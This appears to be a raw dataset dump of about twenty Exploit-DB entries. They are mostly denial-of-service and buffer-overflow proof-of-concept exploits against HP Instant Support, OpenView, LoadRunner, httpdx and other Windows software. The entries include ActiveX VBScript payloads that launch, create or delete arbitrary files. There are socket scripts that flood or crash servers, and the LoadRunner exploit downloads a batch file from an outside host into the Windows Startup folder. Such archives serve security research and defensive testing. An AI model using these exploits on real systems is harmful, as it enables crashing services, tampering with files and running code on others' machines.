deardaniel/secdata-raw huggingface dataset:
Exploit-DB #36403
Description: HP Device Access Manager for HP ProtectTools 5.0/6.0 - Heap Memory Corruption
Type: dos
Platform: windows
Date: 2011-12-02
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/50895/info

HP Device Access Manager for HP ProtectTools is prone to a remote heap-memory-corruption vulnerability.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

HP Device Access Manager for HP ProtectTools versions prior to 6.1.0.1 are vulnerable.

<HTML>
<BODY>
<object id="target"
classid="clsid:{1A6F1F9C-7986-4CAB-BD5E-0E0BC09DEE8B}"></object>
<SCRIPT language="JavaScript">
function Do_It()
{
arg1=String(1044, "X")
target.AddUser arg1
}
</SCRIPT>
<input onclick="Do_It()" type="button" value="P0c">
</BODY>
</HTML>
Exploit-DB #4137
Description: HP Instant Support - Driver Check Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2007-07-02
Author: shinnai

Exploit:
----------------------------------------------------------------------------------
 HP Instant Support - Driver Check Remote Buffer Overflow Exploit

 author: Carlo Di Dato (aka shinnai)
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 Tested on Windows XP Professional SP2 full patched with IE7

 Special thanks to:
 rgod for his support and friendship
 John Morris from HP Software Security for his honesty
 str0ke... for being str0ke :)

 HP Security Bulletin:
 http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c01077597
----------------------------------------------------------------------------------

 <html>
 <object classid='clsid:156BF4B7-AE3A-4365-BD88-95A75AF8F09D' id='test'></object>
  <script language = 'vbscript'>
   
   buff             = String(222, "A")

   get_EBP          = "cccc"

   get_EIP          = unescape("aaaa")

   buf1             = unescape("bbbb")

   second_exception = unescape("%00%00%92%00")

   first_exception  = unescape("%00%00%92%00")

   buf2             = String(4000, "B")

   egg              = buff + get_EBP + get_EIP + buf1 + second_exception + first_exception + buf2

   test.queryHub egg
 
 </script>
</html>

# milw0rm.com [2007-07-02]
Exploit-DB #31877
Description: HP Instant Support 1.0.22 - 'HPISDataManager.dll RegistryString' Buffer Overflow
Type: dos
Platform: windows
Date: 2008-06-04
Author: Dennis Rand

Exploit:
source: https://www.securityfocus.com/bid/29534/info

HP Instant Support 'HPISDataManager.dll' ActiveX control is prone to a remote buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input.

An attacker can exploit this issue to execute arbitrary code in the context of an application using the ActiveX control (typically Internet Explorer). Failed attacks will likely cause denial-of-service conditions.

HP Instant Support 1.0.0.22 and earlier versions are affected.

NOTE: This issue was previously covered in BID 29526 (HP Instant Support 'HPISDataManager.dll' ActiveX Control Unspecified Code Execution Vulnerabilities), but has been given its own record because of new information.

<?XML version='1.0' standalone='yes' ?> <package><job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:14C1B87C-3342-445F-9B5E-365FF330A3AC' id='target' /> <script language='vbscript'> 'for debugging/custom prolog targetFile = "C:\WINDOWS\Downloaded Program Files\HPISDataManager.dll" prototype = "Property Let RegistryString ( ByVal bstrRegistryKey As String , ByVal bUserKey As Long ) As String" memberName = "RegistryString" progid = "HPISDataManagerLib.Datamgr" argCount = 3 arg1=String(2068, "B") arg2=1 arg3="defaultV" target.RegistryString(arg1 ,arg2 ) = arg3 </script></job></package>
Exploit-DB #31876
Description: HP Instant Support 1.0.22 - 'HPISDataManager.dll StartApp' ActiveX Control Insecure Method
Type: dos
Platform: windows
Date: 2008-06-03
Author: Dennis Rand

Exploit:
source: https://www.securityfocus.com/bid/29533/info


HP Instant Support 'HPISDataManager.dll' ActiveX control is prone to an insecure-method vulnerability.

Successfully exploiting this issue allows remote attackers to launch arbitrary applications with the privileges of the application running the ActiveX control (typically Internet Explorer).

Note that if the attacker could place a malicious executable on the system, they would be able to launch it using this vulnerability.

HP Instant Support 1.0.0.22 and earlier versions are affected.

NOTE: This issue was previously covered in BID 29526 (HP Instant Support 'HPISDataManager.dll' ActiveX Control Unspecified Code Execution Vulnerabilities), but has been given its own record because of new information. 

<?XML version='1.0' standalone='yes' ?> <package><job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:14C1B87C-3342-445F-9B5E-365FF330A3AC' id='target' /> <script language='vbscript'> 'for debugging/custom prolog targetFile = "C:\WINDOWS\Downloaded Program Files\HPISDataManager.dll" prototype = "Function StartApp ( ByVal appName As String ) As String" memberName = "StartApp" progid = "HPISDataManagerLib.Datamgr" argCount = 1 arg1="c:\evilfile.exe" target.StartApp arg1 </script></job></package>
Exploit-DB #31878
Description: HP Instant Support 1.0.22 - 'HPISDataManager.dll' ActiveX Control Arbitrary File Creation
Type: dos
Platform: windows
Date: 2008-06-03
Author: Dennis Rand

Exploit:
source: https://www.securityfocus.com/bid/29535/info

HP Instant Support 'HPISDataManager.dll' ActiveX control is prone to a vulnerability that lets attackers create and overwrite files with arbitrary, attacker-controlled content.

Successful exploits may compromise affected computers and aid in further attacks.

HP Instant Support 1.0.0.22 and earlier versions are affected.

NOTE: This issue was previously covered in BID 29526 (HP Instant Support 'HPISDataManager.dll' ActiveX Control Unspecified Code Execution Vulnerabilities), but has been given its own record because of new information.

<?XML version='1.0' standalone='yes' ?> <package><job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:14C1B87C-3342-445F-9B5E-365FF330A3AC' id='target' /> <script language='vbscript'> targetFile = "C:\WINDOWS\Downloaded Program Files\HPISDataManager.dll" prototype = "Sub AppendStringToFile ( ByVal bstrInputFileName As String , ByVal bstrInputString As String )" memberName = "AppendStringToFile" progid = "HPISDataManagerLib.Datamgr" argCount = 2 arg1="c:\evil.exe" arg2=String("CSIS entered this") target.AppendStringToFile arg1 ,arg2 </script></job></package>
Exploit-DB #31879
Description: HP Instant Support 1.0.22 - 'HPISDataManager.dll' ActiveX Control Arbitrary File Delete
Type: dos
Platform: windows
Date: 2008-06-03
Author: Dennis Rand

Exploit:
source: https://www.securityfocus.com/bid/29536/info

HP Instant Support 'HPISDataManager.dll' ActiveX control is prone to a vulnerability that lets attackers delete arbitrary files on the affected computer in the context of the application using the ActiveX control. Successful attacks can result in denial-of-service conditions.

HP Instant Support 1.0.0.22 and earlier versions are affected.

NOTE: This issue was previously covered in BID 29526 (HP Instant Support 'HPISDataManager.dll' ActiveX Control Unspecified Code Execution Vulnerabilities), but has been given its own record because of new information.

<?XML version='1.0' standalone='yes' ?> <package><job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:14C1B87C-3342-445F-9B5E-365FF330A3AC' id='target' /> <script language='vbscript'> 'for debugging/custom prolog targetFile = "C:\WINDOWS\Downloaded Program Files\HPISDataManager.dll" prototype = "Sub DeleteSingleFile ( ByVal pszFileName As String )" memberName = "DeleteSingleFile" progid = "HPISDataManagerLib.Datamgr" argCount = 1 arg1="c:\evil.exe" target.DeleteSingleFile arg1 </script></job></package>
Exploit-DB #22447
Description: HP Instant TopTools 5.0 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2003-03-31
Author: Erik Parker

Exploit:
source: https://www.securityfocus.com/bid/7246/info

It has been reported that Instant TopTools does not properly handle some types of requests. Because of this, a remote user could potentially deny service to a host using the vulnerable software. 

http://www.example.com/cgi-bin/hpnst.exe?c=p+i=hpnst.exe
Exploit-DB #29787
Description: HP JetDirect FTP Print Server - 'RERT' Denial of Service
Type: dos
Platform: windows
Date: 2007-01-18
Author: Handrix

Exploit:
source: https://www.securityfocus.com/bid/23168/info

HP JetDirect FTP Print Server is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue on an affected computer to deny service to legitimate users.

FTP Print Server 2.4 and prior versions are vulnerable.

python /usr/lib/python2.4/ftplib.py -d [vulnerable host] -l -p `python
-c 'print "A"*300'`
Exploit-DB #9806
Description: HP LoadRunner 9.5 - Remote file creation (PoC)
Type: dos
Platform: windows
Date: 2009-09-29
Author: pyrokinesis

Exploit:
<!--
HP LoadRunner 9.5 Persits.XUpload.2 control (XUpload.ocx) MakeHttpRequest() remote file creation poc
(IE 8)
by Nine:Situations:Group::pyrokinesis

CLSID: {E87F6C8E-16C0-11D3-BEF7[PII_REDACTED]03}
Progid: Persits.XUpload.2
Binary Path: C:\Programmi\HP\LoadRunner\bin\XUpload.ocx
KillBitted: False
Implements IObjectSafety: True
Safe For Initialization (IObjectSafety): True
Safe For Scripting (IObjectSafety): True
-->
<html>
<object classid='clsid:E87F6C8E-16C0-11D3-BEF7[PII_REDACTED]03' id='XUPLOADLib' />
</object>
<script language='vbscript'>

' http://retrogod.altervista.org/sh_9232.txt , a batch script that starts calc.exe
XUPLOADLib.Server = "retrogod.altervista.org"
XUPLOADLib.Script = "sh_9232.txt"

' place it in the Startup folder, italian path, change for your os
Method=""
Params=""
Path="..\\..\\..\\Documents and Settings\All Users.WINDOWS\Menu Avvio\Programmi\Esecuzione automatica\\sh.cmd"
UserAgent=""
Headers=""
XUPLOADLib.MakeHttpRequest Method ,Params ,Path ,UserAgent ,Headers
</script>
Exploit-DB #14916
Description: HP OpenView Network Node Manager (OV NNM) - 'webappmon.exe execvp_nc' Remote Code Execution
Type: dos
Platform: windows
Date: 2010-09-06
Author: Abysssec

Exploit:
'''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

'''

'''
  Title              :  HP OpenView NNM webappmon.exe execvp_nc Remote Code Execution 
  Version            :  OpenView Network Node Manager 7.53
  Analysis           :  http://www.abysssec.com
  Vendor             :  http://www.hp.com
  Impact             :  Critical
  Contact            :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter            :  @abysssec
  CVE                :  CVE-2010-2703

 http://www.exploit-db.com/moaub-6-hp-openview-nnm-webappmon-exe-execvp_nc-remote-code-execution/
'''

import socket,sys

ip = "localhost"
port = 80

target = (ip, port)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(target)
exp = "A"*250000
headers = "POST /OvCgi/webappmon.exe HTTP/1.0\r\n"
headers += "From: shahin@abysssec.com\r\n"
headers += "User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\r\n"
headers += "Content-Type: application/x-www-form-urlencoded\r\n"
arg = 'ins=%s&sel=%s&app=%s&act=%s&arg=%s&help=%s&cache=1600 HTTP/1.1\r\n' % ("nowait", "localhost",exp,"ping",exp,exp) 
headers += 'Content-Length: %d\r\n' %(len(arg))
headers += "\r\n"
headers += arg
s.sendall(str(headers))
while 1:
    buf = s.recv(1000)
    if not buf:
        break
    sys.stdout.write(buf)

s.close()
Exploit-DB #31629
Description: HP OpenView Network Node Manager 7.x - 'ovspmd' Buffer Overflow
Type: dos
Platform: windows
Date: 2008-04-08
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/28689/info

HP OpenView Network Node Manager is prone to a buffer-overflow vulnerability.

Successfully exploiting this issue allows remote attackers to execute arbitrary code in the context of the Network Node Manager process. This facilitates the remote compromise of affected computers.

Network Node Manager 7.53 running on Microsoft Windows is affected by this issue; other versions and platforms may also be vulnerable.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31629.zip
Exploit-DB #19782
Description: HP OpenView OmniBack II 2.55/3.0/3.1 - Denial of Service
Type: dos
Platform: windows
Date: 2000-02-28
Author: Jon Hittner

Exploit:
source: https://www.securityfocus.com/bid/1015/info

Multiple open connections to port 5555 can cause the HP OpenView OmniBack program to crash by consuming 100% CPU cycles. Closing the connections will not alleviate this problem, therefore a manual restart would be required.


#!/usr/bin/perl
#
# Jon Hittner
# Raise the memory size for omnilnet until Windows NT crashes
# Test against NT4.0 SP5 , NT3.51 , Winframe 1.7 SP5b , Winframe 1.8
# Probably needs to be run several times to crash the system depending
# on the amount of memory in the system.
# This code was written to demo a problem, and I take no respoablity on how
# it's used

use strict; use Socket;

my($y,$h,$p,$in_addr,$proto,$addr);

$h = "$ARGV[0]"; $p = 5555 if (!$ARGV[1]);
if (!$h) { print "A hostname must be provided. Ex: www.domain.com\n"; }

$in_addr = (gethostbyname($h))[4]; $addr = sockaddr_in($p,$in_addr);
$proto = getprotobyname('tcp');
print "TESTING: $h:$p\n";
for ($y=1 ; $y<2500000 ; $y++) {
	socket(S, AF_INET, SOCK_STREAM, $proto);
	connect(S,$addr) or next;
	select S;
	$| = 1;
	select STDOUT;
	send S,"OMNIBACK HAS SOME BIG ISSUES",0;
	}
print "ATTACK COMPLETED!\n";
Exploit-DB #25782
Description: HP OpenView Radia 2.0/3.1/4.0 - Notify Daemon Multiple Remote Buffer Overflow Vulnerabilities
Type: dos
Platform: windows
Date: 2005-06-01
Author: John Cartwright

Exploit:
source: https://www.securityfocus.com/bid/13835/info

HP OpenView Radia Notify Daemon (RADEXECD) is affected by multiple remote buffer overflow vulnerabilities.

An attacker can craft a malicious request that can overflow a buffer and result in process memory corruption. These issues may be exploited to gain unauthorized access in the context of the server. 

The following proof of concept is available:
<callback port>\0<username>\0<password>\0
"LIST " . (0x90 x <offset>) . <ret_addr> . "." . <shellcode>
Exploit-DB #15411
Description: HtaEdit 3.2.3.0 - '.hta' Buffer Overflow
Type: dos
Platform: windows
Date: 2010-11-04
Author: anT!-Tr0J4n

Exploit:
#Title: HtaEdit v 3.2.3.0 (.hta) Buffer Overflow Vulnerability

#Author    :   anT!-Tr0J4n

#Email      :   D3v-PoinT[at]hotmail[d0t]com & C1EH[at]Hotmail[d0t]com

#Greetz    :   Dev-PoinT.com ; GlaDiatOr,SILVER STAR , HoBeeZ, Coffin Of Evil

#special thanks    :   r0073r,Sid3^effects,L0rd CruSad3r,SeeMe,Sonic,gunslinger_,Sn!pEr.S!Te,n4pst3rr,indoushka, KnocKout,SONiC,ZoRLu

#Home     :   www.Dev-PoinT.com ; $ http://inj3ct0r.com

#Software :  http://www.htaedit.com/

#Tested on:   Windows XP sp3

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


#!/usr/bin/perl
print " Author: anT!-Tr0J4n      \n";
print " Greetz :http://inj3ct0r.com    ; \n";
print "Home : www.Dev-PoinT.com ; \n";

my $junk= "\x41" x 43500 ;
open(file,">crash.hta");
print file $junk ;
close(file);
Exploit-DB #34463
Description: HTML Help Workshop 1.4 - Buffer Overflow (SEH) (PoC)
Type: dos
Platform: windows
Date: 2014-08-29
Author: Moroccan Kingdom (MKD)

Exploit:
#----------------------------------------------------------------------------------------------------#
# Exploit Title: HTML Help Workshop - (SEH) Buffer Overflow                                          #
# Date: August 24 2014                                                                               #
# Exploit Author: Moroccan Kingdom (MKD)                                                             #
# Software Link: http://msdn.microsoft.com/en-us/library/windows/desktop/ms669985%28v=vs.85%29.aspx  #                                     #
# Version: 1.4                                                                                       #
# Tested on: Windows XP SP3/SP2 | Windows 7 64/32-bit  (eng)                                         #
#----------------------------------------------------------------------------------------------------#

import subprocess,time
import sys,os

if os.name == "nt" :
   subprocess.call('cls', shell=True)
   os.system("color c")
else :
   subprocess.call('clear', shell=True)

time.sleep(1)

print '''
///////////////////////////////////////////////////////////////////////////////
/                               M.O.R.O.C.C.A.N                               /
/                                K.I.N.G.D.O.M                                /
/                                    [MKD]                                    /
/ CONTACT US : facebook.com/moroccankingdom024 | twitter.com/moroccankingdom  /
/ To run this exploit Go to DOS and then go to the folder path program and    /
/ run this command : hc | exm : hcc.exe AAAABBBCCCSSS...           /
/////////////////////////////////////////////////////////////////////////////// '''

JNK = "A" * 284
NEH = "B" * 4                   
SEH = "C" * 4                
SHL = "S" * 400

POC = JNK + NEH + SEH + SHL

try :
   file = open("poc.txt", "w")
   file.write(POC)
   file.close()
   print "\n[*] file created successfully"
except:
   print "[#] error to create file"
 
close = raw_input("\n[!] press any button to close()")
Exploit-DB #15821
Description: HttpBlitz Web Server - Denial of Service
Type: dos
Platform: windows
Date: 2010-12-24
Author: otoy

Exploit:
#!/usr/bin/python
 
# Title: HttpBlitz DOS
# Date: 12/24/2010
# Author: otoy
# Software Link: http://sourceforge.net/projects/httpblitz/files/HttpBlitz.msi/download
# Tested on: Windows XP SP3
#
# ======================================================================
#        ___       _ __        __            __    _     __
#   ____/ (_)___ _(_) /_____ _/ / ___  _____/ /_  (_)___/ /___  ____ _
#  / __  / / __ `/ / __/ __ `/ / / _ \/ ___/ __ \/ / __  / __ \/ __ `/
# / /_/ / / /_/ / / /_/ /_/ / / /  __/ /__/ / / / / /_/ / / / / /_/ /
# \__,_/_/\__, /_/\__/\__,_/_/  \___/\___/_/ /_/_/\__,_/_/ /_/\__,_/
#        /____/                          http://www.digital-echidna.org
# ======================================================================
#
# Greetz:
#   say hello to all digital-echidna org crew:
#       modpr0be, bean, s3o, d00m, n0rf0x, fm, gotechidna, manix
#   special thx to offsec, exploit-db, corelan team
#
#### Software description:
# A cross platform Http web server developed using C++. Agile methodology 
# with emphasis on :- 1. Good Design 2. Object Oriented Programming 3. 
# Refactoring 4. Static/Dynamic Analysis, Unit-testing, Code Coverage 5. 
# Software Engineering best practices.  
#
#### DOS information:
# you just have to send long string, and it will crash the program
# just scanning the the port using nmap will crash the program too. :D
 
import socket, sys
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
junk = "\x41" * 80000
 
def banner():
    print "\nHttpBlitz DOS."
    print "By: otoy (otoy[at]digital-echidna[dot]org)\n"
 
     
if len(sys.argv)!=3:
        banner()
        print "Usage: %s <ip> <port>\n" %sys.argv[0]
        sys.exit(0)
 
try:
    s.connect((sys.argv[1], int(sys.argv[2])))
except:
    print "Can\'t connect to server!\n"
    sys.exit(0)
     
s.send(junk+'\r\n')
s.close()
Exploit-DB #8712
Description: httpdx 0.5b - Multiple Remote Denial of Service Vulnerabilities
Type: dos
Platform: windows
Date: 2009-05-18
Author: sico2819

Exploit:
*****************************
* OSCP TEAM Vuln Discovery  *
*****************************
*        sico2819           *
*****************************

http://offensive-security.com

**************************************
httpdx <= 0.5b multiple remote DOS POC
**************************************

sourceforge.net/projects/httpdx/


SYSTEM USED : WinXP SP3 FR


***************
POC POC POC POC
***************


httpdx <= 0.5b is vulnerable to multiple remote DOS, in both HTTP and FTP server.

*******************
***** FTP DOS *****
*******************

httpdx FTP crashed by multiple ways, due to BOF in many commands (USER, PASS, CWD, ...)

POC :

------ poc.py ----------

import socket

HOST = [ change host addr ]
PORT = 21
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data= s.recv(1024)
s.send('USER '+'A'*1000)
s.close()

------- EOF -------------

*******************
**** HTTP DOS *****
*******************

httpdx crashed by sending a special HTTP request :

"GET / HTTP/1.1Host: "

POC :

echo "GET / HTTP/1.1Host: "|nc [HOST] 80





This is a OSCP Team POC, more to come !!

sico2819

# milw0rm.com [2009-05-18]
Exploit-DB #9657
Description: httpdx 1.4 - HTTP Server Host Header Remote Format String Denial of Service
Type: dos
Platform: windows
Date: 2009-09-14
Author: Pankaj Kohli

Exploit:
# httpdx Web Server 1.4 'Host Header' Remote Format String Denial of Service PoC
# 
# Coded by Pankaj Kohli
# http://www.pank4j.com
#
# httpdx web server 1.4 is vulnerable to a remote format string vulnerability through the Host header.
# The vulnerability lies in httpd_src/http.cpp in h_readrequest() : snprintf(temp[1],MAX,client->host);
#

use LWP;

(($target = $ARGV[0]) && ($port = $ARGV[1])) || die "Usage: $0 <target> <port> \n";

my $ua = new LWP::UserAgent;
print "Connecting to $target on port $port\n";
my $request = new HTTP::Request('GET', "http://" . $target . ":" . $port);
print "Sending evil header \n";
my $host_header =  "%s"x32;
$request->header('Host', $host_header); my $response = $ua->request($request);

if ($response->is_success) { print "DoS Failed \n" }
else { print "DoS Successful \n" } 

# milw0rm.com [2009-09-14]
Exploit-DB #11343
Description: httpdx 1.5.2 - Remote Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2010-02-07
Author: loneferret

Exploit:
# Title: httpdx v1.5.2 Remote Pre-Authentication DoS (PoC crash)
# Found by: loneferret
# Hat's off to dookie2000ca
# Discovered on: 06/02/2010
# Software link: http://httpdx.sourceforge.net/downloads/
# Tested on: Windows XP SP3 Professional

# Nod to the Exploit-DB Team

#!/usr/bin/python

import socket

buffer = "\x25\x6e"

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('xxx.xxx.xxx.xxx',21)) #Remember to put in the server's address
s.recv(1024)
s.send('USER '+ buffer +'\r\n') #yup, doesn't take much does it.
s.recv(1024) #
s.close() #don't really need these, force of habit